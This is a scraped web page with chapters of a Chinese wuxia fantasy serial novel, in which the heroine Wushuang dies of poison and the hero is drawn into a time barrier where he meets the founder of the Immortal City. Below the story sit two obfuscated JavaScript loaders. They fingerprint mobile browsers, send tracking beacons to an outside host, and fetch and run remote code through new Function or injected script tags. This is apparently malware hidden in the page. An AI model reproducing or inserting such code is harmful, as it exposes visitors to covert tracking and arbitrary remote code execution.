无双道:“我身中剧毒后根本无力再与人争斗,因此服下大量不老丹,恢复成少女模样,原本是想蒙混过敌人耳目,找个僻静的地方运功驱毒,谁知刚才妄动真力,毒素侵入五脏六腑,我,我是不成了。”

轩辕天悔恨的叫道:“如果不是我被人利用,你也不会身中剧毒,力神大哥他们也不会被擒,都是我害了你们,我简直是头蠢猪,你杀了我,你杀了我!” 无双轻声道:“你又何必自责,就算没有你,他们也会找另外的人来下毒,何况你还救过我,也算扯平了,本城主宽宏大量,不会跟你这乡野小子一般见识的,咯咯。”

她自知大限将至,抛开一切想法,心中倒觉得异常轻松了,埋首在轩辕天怀中,笑道:“你知道吗,这么多年来,你是唯一一个敢当面顶撞我的人,也是唯一一个让我不忍心杀的人。哎,想我不老神仙威震天下,竟会死在你这粗野无理小子的怀中,想来也真是缘分。”

她伸出双臂,搂住轩辕天的脖子,在他耳边柔声道:“其实,死在你怀里,真好……”

轩辕天听她真情流露,心中爱痛交加,恨不得自己替她死去。

无双身体剧烈颤抖,不多时牙关也开始打战,她蜷缩在轩辕天宽厚的怀中,喃喃道:“抱紧我,我好冷。”

她早知轩辕天双臂已断,此时却要他抱紧自己,显然剧毒发作,神志开始迷乱,轩辕天心痛的无以复加,正在这时,忽听“笃笃”两声,竟然有人在敲打石门!

第四十四章 香销玉殒

轩辕天与姬无双正深深沈浸在生离死别的巨大痛苦之中无法自拔,忽听“笃笃”两声,赫然有人在敲打石门,那敲打声不紧不慢的传来,在密闭的石室中激起沈闷的回响,便如大铁锤一下一下击打在两人心头。

无双紧紧抱着轩辕天,瘦削的肩头不停抽搐,她知道自己油尽灯枯,心中早已坦然面对死亡,但却盼着轩辕天能好好的活下去,而此时这催命的魔音彻底粉碎了她最后的希望。

两人身体紧紧贴合在一起,心脏几乎都要从胸腔中蹦跳出来,不由自主地摒住了唿吸,生怕惊动了门外的妖魔。

敲打声忽然停了下来,两人的心跳也仿佛随之停顿,四周的空气沉重如山,将他们无情的挤压着。

只听门外有人笑道:“姬夫人,小妹找得你好辛苦,现在我到了门口,你连见都不想见我么?”

正是萧娘那妖异邪恶的声音,无双和轩辕天的心仿佛沈入了无底深渊。 轩辕天在无双耳边悄声道:“这石室可还有别的出口么?”

无双苦笑道:“这里是历代城主坐化之所,据说还隐藏着一个极大的秘密,自然越隐秘越好,怎会弄出许多通路呢,那石门便是唯一的出口了。”

轩辕天忙道:“是什么大秘密?或许可以帮我们逃出去。”

无双摇摇头,惨然道:“似乎与这地上的图案有关,但我参详了多年,始终无法破解,现在一切都晚了。”

轩辕天扭过头去,看着地面上那持枪男子与巨大花蕊对峙的图画,心中一阵迷茫。

萧娘又在门外道:“姬夫人,莫非正在跟你的小情人颠鸾倒凤么,既然你不开门,小妹我可自己进去了。”

门外随即响起一阵诡异的笛声。

轩辕天暗叫不好,这怪物又来了,只听嚓的一声响,一柄长剑破石而出,散发着阴冷的寒气,剑光不停闪动中,厚重的石门如同朽木不堪一击,被斩的支离破碎,轰然塌下,尘土飞扬中,剑神走了进来,后面紧跟着萧娘和笑面菩萨。 剑神仅剩的一条左臂握着长剑,面容扭曲恐怖,眼球已全变成乌黑色,空洞木然的看着无双和轩辕天二人,萧娘手持短笛,从他背后转了出来,笑道:“姬夫人,你这返老还童之术当真奇妙异常啊,我险些被你骗了。”

无双默然不语。

轩辕天却叫道:“你这妖妇,是不是被老子干的脑袋都坏了,她不过是个小丫头,什么姬夫人,真是可笑!”

萧娘也不动怒,瞥了轩辕天一眼,笑面菩萨大笑道:“兄弟,你也不要替她掩盖了,她身中盘丝尊者的剧毒,所过之处自然留下了难以消弭的气息,又怎么逃得过蛛神的追踪呢。”

轩辕天心中暗想:“若果真如此,为何第一次进入石室之后他们却没有找到呢?”

又一转念:“是了,第一次从湖中潜入,水流截断了毒素的味道,因此他们无法追踪,这一次无双却为了救我,不得不暴露行踪,引来这杀身之祸。” 他一想到此,不禁更加懊悔,对萧娘等人也愈发痛恨。

无双挣扎着爬起身来,道:“既然被你们看破,也不必隐瞒了,我正是不老神仙,你们大费周章,不过是针对我。”

她看了一眼无法动弹的轩辕天道:“他对你们并无威胁,还望你们能放他一条生路。”

萧娘纵声狂笑道:“好一个阅人无数的不老神仙,却对这名不见经传的小子动了真情,当真可笑,只是你中了我蛛神剧毒后妄动真气,早已毒发攻心死到临头了,我们要一个死人有什么用?至于这小子么……”

她看了看轩辕天,眼中竟闪过一丝难以察觉的惧色,狠毒的道:“留着始终是个祸胎,我送你们一起上路,黄泉下作对同命鸳鸯吧。”

无双知道在这变态疯狂的女人手里誓无幸免,长叹一声,闭目等死。

萧娘吹起短笛,剑神尸体在她魔音催动之下,疯狂扭动着残破的肢体,向无双扑来。

眼看毒蛇一样的长剑就要刺入无双的咽喉,轩辕天情急拼命,全身力道凝聚在腰背之间,忽的纵身飞起,挡在无双之前。

满天的剑光一闪而没,冰冷的剑锋剖开轩辕天的肌肉,从他胸口到后背刺了个对穿,轩辕天只觉得心头一片冰凉,生命似乎被这无情的一剑夺去,他大叫一声,向后便倒,长剑从他体内退出,鲜血如喷泉一样自伤口激射出来。

直到轩辕天伟岸的身体摔落在无双身边,她依然不敢相信这一切是真实的,她发狂似的扑在轩辕天身上,伸手去堵他的伤口,可是无论她怎样用力,鲜血还是从她的指缝涌出,片刻之间就将他们周围的地面染红,那地面上雕刻的奇异花朵,在鲜血的浸润下,显得异常娇艳动人。

无双抱着轩辕天,怀中的少年,原本如此生龙活虎,此时却逐渐冰冷下去,生机在他体内迅速流失衰败,她想大哭,却发不出声音,想立即死去,却又舍不得怀中的人。

无双缓缓擡起头,一双了无生趣的眼睛从敌人脸上扫过,萧娘等人不由得心中惊惧,知道不老神仙势必跟他们拼命,她虽身中剧毒,但伤心欲绝之下出手,定然惊天动地,萧娘和笑面菩萨暗暗戒备,以防她暴起发难。

此时双方全神贯注盯着敌人的一举一动,心无旁羁,却不知另有奇异莫测的变化在发生着,原本喷洒在地面花朵上的鲜血竟已全然不见,周围的血液快速涌来补充,但片刻之间也渗入地面。

那雕刻在石头上的花朵募然鲜活起来,枝叶饱满异常,挂着颗颗晶莹剔透的露珠,花蕊怒开,散发着阵阵幽香,轻轻抖动间,花瓣开始转动,速度也逐渐加快,到得后来,整朵花已飞速旋转,形成一个无声无息的力场。

那一边,无双已经万念俱灰,对萧娘等人淡淡道:“他死了,你们也一起陪葬吧。”

她双眼神光大炽,逆运不老神功,迫出全身残余功力,口中念道:“永不衰老的女神,请赐予我无上法力,毁灭这邪恶的生命吧。”

萧娘只觉得四周空气被急剧压缩,发出“嗤嗤”的响声,她知道不妙,猛地撕开上身衣衫,露出雪白的小腹,肚脐一阵蠕动,吐出无数亮晶晶的粘液,那粘液遇到空气,立即凝结成丝,片刻之间,已结成一个巨大的蛛丝大茧,将她和笑面菩萨以及剑神包裹起来。

不老神仙姬无双冷笑一声,双手画圆,推向大茧,口中喝道:“破!” 只听“轰”的一声巨响,大茧周围被压缩的空气爆炸开来,里面的三只怪物被炸作六段,寸寸断裂的蛛丝散落四处,覆盖在那些残肢碎体之上。

与此同时,地面怪异图画所产生的力场也催生到了极限,白光一闪,形成一个极强的漩涡,将奄奄一息的轩辕天扯入其中,顿时整个人消失不见,白光二次闪动,图画停止转动,力场亦随之散去,了无痕迹。

无双逆天而行,神功耗尽,体内剧毒排山倒海般发作起来,她喊了一声,口中碧绿色鲜血狂喷,倒在地上,气绝而亡。

轩辕天被扯入漩涡之中,那非人能承受的急速旋转令他五脏六腑都几乎翻了过来,但神志却异常清醒,他心想:“原来阴曹地府都是这么进去的,真是难受之极,啊,也不知无双怎么样了,她中了那样的剧毒,必无幸免,也许马上就可以看到她了。”

轩辕天正在胡思乱想之际,忽然身体剧振,不再旋转,似乎落到了实处,环顾四周,一片浓厚的黑暗,伸手不见五指,他心中正惊疑时,一个男子的声音颤抖着道:“来了,终于来了。”

轩辕天心想:“果然是阴曹地府,这家伙莫不是勾魂使者么?”

他叫道:“不错,老子来了!”

那男子突然大笑起来,那笑声简直惊天动地,仿佛遇到了什么天大的喜事,忽然笑声一变,化为痛哭之声,轩辕天心道这勾魂使者原来是个疯子,否则怎么会这样又哭又笑,但仔细听他哭声,竟似蕴含了无穷无尽的悔恨与自责,压抑了千载的痛苦在这瞬间宣泄而出,便是石头人也会闻之伤心,轩辕天听着他的哭声不由得一阵阵心酸,几乎也要落下泪来。

历时良久,那人方渐渐止住哭声,道:“恩公在此,请受我一拜。”

只听得“咚咚”声响,那人似乎真的在磕头,而且极为用力,显然是发自内心的感激。

轩辕天不由得满头雾水,这勾魂使者怎么管自己叫“恩公”?阴曹地府的规矩当真怪得很,他道:“你快些带我去见无双。”

那勾魂使者一愣,道:“无双是谁?”

轩辕天心中大喜,想来无双还活着,否则这家伙怎么会不知道她的名字。 轩辕天知道无双没死,心中大定,道:“好极了,好极了,现在你可以带我走了。”

勾魂使者再愣,道:“恩公要去哪里?”

轩辕天十分不耐,道:“这阴曹地府是你的家,我怎么知道要去哪里。你这勾魂使者啰里啰唆,实在烦人。”

那勾魂使者半晌无语,突然又大笑起来,轩辕天皱眉道:“你又哭又笑的干什么?这是阴曹地府接受亡魂的规矩么?”

这话不说还好,一说出来,勾魂使者竟笑得气也喘不上来,轩辕天隐隐知道可能是自己搞错了,这疯疯癫癫的家伙莫非不是勾魂使者?这黑漆马煳的地方也不是阴曹么?他张嘴欲问,但那人笑声一阵高过一阵,轩辕天不但说不出话来,连唿吸都觉得困难异常,他心下骇然,这人虽然疯的不可理喻,但功力之深,简直骇人听闻,似乎连不老神仙也颇有不如。

不知过了多久,那恐怖的笑声弱了下来,那人似乎还意犹未尽,喘息着道:“错了,全错了,错的太厉害了。”

轩辕天心中郁闷到了极点,大叫道:“你他妈的,哪里错了,这到底是什么鬼地方,你又是什么人?我怎么看不到你?”

那人猛然惊觉,连声道:“哎呦,我乐得疯了,竟忘记恩公在这结界之内是看不到东西的。我这就为恩公开天眼。”

轩辕天心想:“什么天眼地眼的,这疯子又在故弄玄虚。”忽然一股热力从头顶灌注而入,轩辕天只觉得眉心一跳,眼前登时明朗起来,竟比平时还要清楚的多。

面前半跪着一个人,年纪在三十上下,微有髭须,一对凤目神光内敛,剑眉斜插入鬓,笔直的鼻梁如远山般高耸,嘴唇锋利如刀,相貌英俊之极,几乎可以和轩辕天相比,更兼一身雍容华贵之气,身材修长挺拔,虽然不像轩辕天那样魁伟健壮,却另有一股摄人的魅力。

轩辕天一见之下,不由得对这人心生好感,没想到这疯子竟然是一个如此超卓不凡的人物,他道:“这是什么地方?你又是谁?”

这疯子此时却异乎寻常的冷静,他对轩辕天上下打量几眼,道:“恩公身中蜘蛛催情之毒,四肢俱断,心口被利剑洞穿,伤势不轻,让我先为恩公疗伤。” 轩辕天道:“你倒真是好眼力。”

话未说完,那疯子一掌拍在他胸口,轩辕天鲜血狂喷,昏了过去。

第四十五章 创城之祖

当轩辕天悠悠醒转的时候,发现自己泡在一个大湖里,身体在水中微微地沈浮,懒洋洋暖融融,说不出的舒服惬意,举目望去,这湖占地极广,湖面平静无波,一轮明月当空悬挂,在水面上撒落了一层蒙蒙的光华,而自己就在湖中央。 一种极为熟悉的感觉涌上轩辕天心头,似乎什么时候来过这里,他越看这种感觉越强烈,忽然脑海中灵光闪动,喃喃自语道:“这,这是观心海。” 他再仔细观看,距离自己不远的湖心,赫然便是一座小岛,正是登月楼所在的位置,只是现在空空如也,草木极其茂盛,却哪里有登月楼的影子,他心中惊疑不定,道:“这当真是观心海么?”

“哈哈,不错,正是观心海。”

一阵清朗的笑声在耳边响起,轩辕天转头看去,并无一人,四下环顾,却见远处的湖边上,站着一个男子。这男子上唇略有胡须,相貌俊逸不凡,双手倒背身后,正笑嘻嘻的看着自己,他身形挺拔,一袭雪白长袍随风飞舞,神态潇洒已极,这不是那疯子么?

轩辕天心想:“这家伙耳力倒是极好,相距如此遥远,我只轻轻说了句话,他便听见了。”

募的,轩辕天心头一跳:“距离如此遥远,我怎么把他看得这么清楚?若在平时,我最多只能看见一个白影罢了,莫非这就是他说的开天眼的功效么?” 轩辕天伸手向他招唿,大声喊道:“你到底是谁?我怎么会在观心海里?” 他甫喊出声,只觉得气息流转舒畅,灵力充沛之极,喊声在湖面上远远传了开去,直如龙吟东海,虎啸南山,湖水被他的声浪所激荡,竟泛出阵阵涟漪。 轩辕天挠挠头,连声道:“古怪,古怪。”

突然,他将双臂高高举起,随意挥动几下,肌肉饱满有力,伸缩灵活自如,哪里还有一丝受伤的痕迹,再低头察看胸口及双腿的伤势,也莫不完好如初,他当真是又惊又喜,知道定是这白袍男子为自己疗伤,不由得充满感激之情,也不在心中暗叫他疯子了。

那白袍男子纵声长笑跳向湖中,足尖在水面只轻轻一点,人已在数丈之外,移动之间竟快的不可形容,修长挺拔的身形划破空气,留下一道道长长的白色幻影,在镜子般的湖水映衬下,简直如天神行法,海外飞仙。

轩辕天心中一动,这男子的身法怎么与不老神仙姬无双的如此相似?虽然两人男女不同,一个潇洒飘逸,一个轻柔妙曼,但起承转折之际所流露出非凡间应有的仙灵之气,却一般无二,两人之间莫非有什么渊源么?

轩辕天好奇之念方生,白袍男子已来到他面前,双足踏水而立,点滴不湿,对轩辕天笑道:“恩公,有礼了。”

轩辕天看着他,呆呆不语,白袍男子甚是奇怪,刚要开口询问,却见轩辕天连声道:“神仙,你一定是神仙,请你告诉我,无双现在还活着么?她还好么?她中的剧毒化解了么?”

他心中焦急莫名,不禁叠声追问。

白袍男子面带歉意,道:“恩公,实在很对不住,你的问题我一个都回答不了。”

轩辕天一听,心中失望之极,白袍男子微微一笑道:“恩公不必懊恼,世间一切聚散离合,冥冥中自有定数,也是强求不来的。”

轩辕天虽知道他说的不错,但始终担心无双的安危,不禁沮丧的低下头去。 白袍男子见他如此,道:“恩公,你是如何来到这里的?其间的经过,能否告诉我呢?”

轩辕天虽然不知这白袍男子是谁,但看他神态祥和,言语斯文有礼,心中不由自主生出亲近和信任之感,当下便将自己如何来到神仙城,如何认识笑面菩萨和萧娘,直至误中奸计,身受重伤的经过详细叙说给他,白袍男子一言不发得听着,脸上神色变幻不定,忽而欢喜,忽而气恼,忽而开心大笑,忽而咬牙切齿,待轩辕天将自己如何在石室里中剑倒地,又莫名其妙来到此处。

全部讲完之后,白袍男子沉默良久,忽的仰天大笑道:“天意,真是天意,当年种下的因,才有如今的果,天道循环,报应不爽啊!”

轩辕天不知他再说些什么,无从插嘴,只是见他眼角隐隐有泪光闪动,心中觉得这白袍男子似乎经历过一件巨大伤心之事,令他无法忘怀。

白袍男子渐渐平复了心情,对轩辕天歉然道:“一是忘情失态,让恩公见笑了。”

轩辕天心想:“难道你忘情失态的时候还少么?”

他笑道:“我以为只有凡人才会这样大哭大笑,原来神仙也一样。”

白袍男子道:“恩公,你怎么说我是神仙呢?”

轩辕天道:“你会帮我开天眼,又能在水面飞行不沈,凡人怎么会有这样的本事?”

白袍男子笑道:“开天眼只是雕虫小技,算不了什么,至于说水面飞行么,恩公你也可以啊。”

轩辕天摇头道:“不要说笑了,我哪有这个本事。”

白袍男子道:“适才我为恩公疗伤时,发现恩公体内蕴含水火神力,莫说踏水不落,只要假以时日修炼,便是驭气飞行,也不是不可能的。恩公若是不信,不妨从水中站起来试试看。”

轩辕天心中半信半疑,但看白袍男子说的郑重,便姑且一试,他双腿在水中一蹬,人已借力飞起,如炮弹般冲出水面,直射上天,他万万没想到自己一蹬之力如此巨大,登时措手不及,上冲的速度虽然极快,但他张牙舞爪,便如一只受惊的青蛙,在空中手足乱扭,实在是难看之极。

那白袍男子目光随着轩辕天上升,又随之下降,脸上始终带着一丝微笑,只听“扑通”一声,轩辕天石头一样落入湖中,水花溅起一丈多高,说也奇怪,水花飞到白袍男子身边一尺之处,竟似碰到了无形的墙壁一样,被反射而回。 轩辕天从水中冒出头来,一脸丧气道:“我说不行嘛,你硬让我飞,真是丢脸,噫,我刚才怎么跳的这么高?”

白袍男子被轩辕天的直爽逗得哈哈大笑,他伸手在轩辕天肩头轻轻一拉,轩辕天只觉得一股大力将自己整个身体带出水面,白袍男子托着他的手肘道:“你将体内水之神力缓缓运到双足,不可使用蛮力,一切顺其自然即可。”

轩辕天暗道:“怎么他与我梦中的金发美女一样,也说顺其自然?”遂依照白袍男子之言,心念转动,水之神力游走于双足和水面之间,不多时,只觉得身体与湖水融为一体,人既是水,水既是人,再分不出彼此。

白袍男子放开托着轩辕天身体的手,含笑站立一旁,轩辕天心中又惊又喜,连连大叫:“我也可以了,我也可以踏水不落了。”

他心情激荡,水之神力便不能与湖水融为一体,“扑通”一声又栽入湖中。 他二次从水中爬出,满脸喜色,对白袍男子道:“你不要叫我恩公了,其实你才是我的恩公。”

白袍男子哑然失笑,道:“我对你何恩之有?”

轩辕天道:“你治好我的伤势,救我性命,还不是我的恩公么?”

白袍男子摆了摆手,道:“你有自我恢复的能力,我只不过打通了你全身经脉,令你体内气息融会贯通。”

轩辕天道:“原来如此,怪不得我举手投足的力气比平时大了好多。” 白袍男子点点头道:“你体内本已蕴含了无穷无尽的力量,只是你自己不知道如何运用罢了,现在经脉全通,与天地灵气循环往复,生生不息,由后天之境进入了先天之境。”

轩辕天对他的话虽然不是完全明白,但也知道必然对自己有极大的好处,心中不由得愈发感激这白袍男子,由衷道:“你对我如此大恩,我不知道要怎么报答才好。”

白袍男子微微一笑,道:“我这点举手之劳的事情,与你对我的莫大恩情比较,呵呵,不能比,简直不能比。”

轩辕天极为好奇,此人一直说自己对他有恩,但不知这恩从何来,不由得问道:“我对你到底有什么恩情?竟然比你救我性命还要大么?”

白袍男子长长一声叹息,饱含了岁月的沧桑与世间的爱恨,他指了指湖心小岛,说道:“我们去那里,我会慢慢地告诉你。”

轩辕天点点头,白袍男子转身向小岛走去,轩辕天也随之而行,开始在水面行走还略有不适,但过了片刻水之神力的运用逐渐纯熟,越走越快,越走越稳,竟似闲庭信步一般。

不多时,两人来到小岛之上,轩辕天来回逡巡了几圈,道:“真是怪异,这里当真是观心海么?登月楼在哪里?”

白袍男子笑道:“莫说登月楼,此时连神仙城还没有呢。”

轩辕天一愣,道:“你说什么?这里到底是什么地方?你又是谁?”

白袍男子道:“这里的确是观心海,只不过……呵呵……是一千年前的观心海。”

轩辕天掏掏耳朵道:“一千年前的观心海?我没有听错吧?”

白袍男子道:“没错,你所看到的正是一千年前的观心海,而我,则是神仙城创城之祖——枪神。”

轩辕天吃惊的简直无以复加,喃喃道:“你是说我现在在一千年前么?” 白袍男子枪神摇头道:“不,你我所处的即不是现在,也不是从前。” 轩辕天满脸迷茫之色,道:“我,我不明白。”

枪神道:“这原本是一个时间轮回的结界,不生不灭,永无休止,不过,现在这个结界已经被破了。”

轩辕天越听越煳涂,连连挠头道:“这结界是谁布下的?又是谁破的?” 枪神微笑道:“是我的妻子布下的,却又是你破了。”

轩辕天一阵头晕眼花,说不出话来,枪神长叹道:“我的妻子,便是当年欢喜岛的岛主——媚仙。”

轩辕天惊唿出声,原来神仙城与欢喜岛竟有这样的渊源。

枪神缓缓道:“当年的媚仙艳绝天下,乃世间第一美人,一身媚术,更是颠倒无数芸芸众生,而我那时也正值年少翩翩,武功大成,一时天下无两,人称枪神,颇得女子青睐,我对她闻名已久,终于忍不住上了欢喜岛,想要看看这令天下男人都为之疯狂的尤物到底是什么样子。我们彼此一见,不由得难以抑制爱慕之情,当时便有了合体之缘,自此日夜颠鸾倒凤,过着神仙一样的生活。” 轩辕天遐想当年枪神傲视天下的英姿,不由得悠然神往。

枪神眼望苍穹,也仿佛陷入了那美好的回忆,良久,才继续说道:“欢喜岛名为欢喜,其实却是个藏污纳垢的地方,勾心斗角,你死我活,媚仙久经沧桑之后,竟然真心的爱上了我,所以洗尽铅华,放弃一切,随我翩然远隐,来到不老谷,创建了我们自己的家园,便是神仙之城。”

轩辕天听到这里,才知道原来神仙城有这样一段美丽动人的经历,不由得赞道:“你们彼此真心爱慕而且能日夜厮守,实在是天地间最美好的事情了。” 枪神默默地望着他,半晌才道:“你天生慧根,见识超人,只是,那时候的我可不明白这个道理,一时煳涂,竟然做出了令我懊悔千年的大错事。”


上一篇:走老师后门

下一篇:(绝对经典)眺望海岸线的妈妈2


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};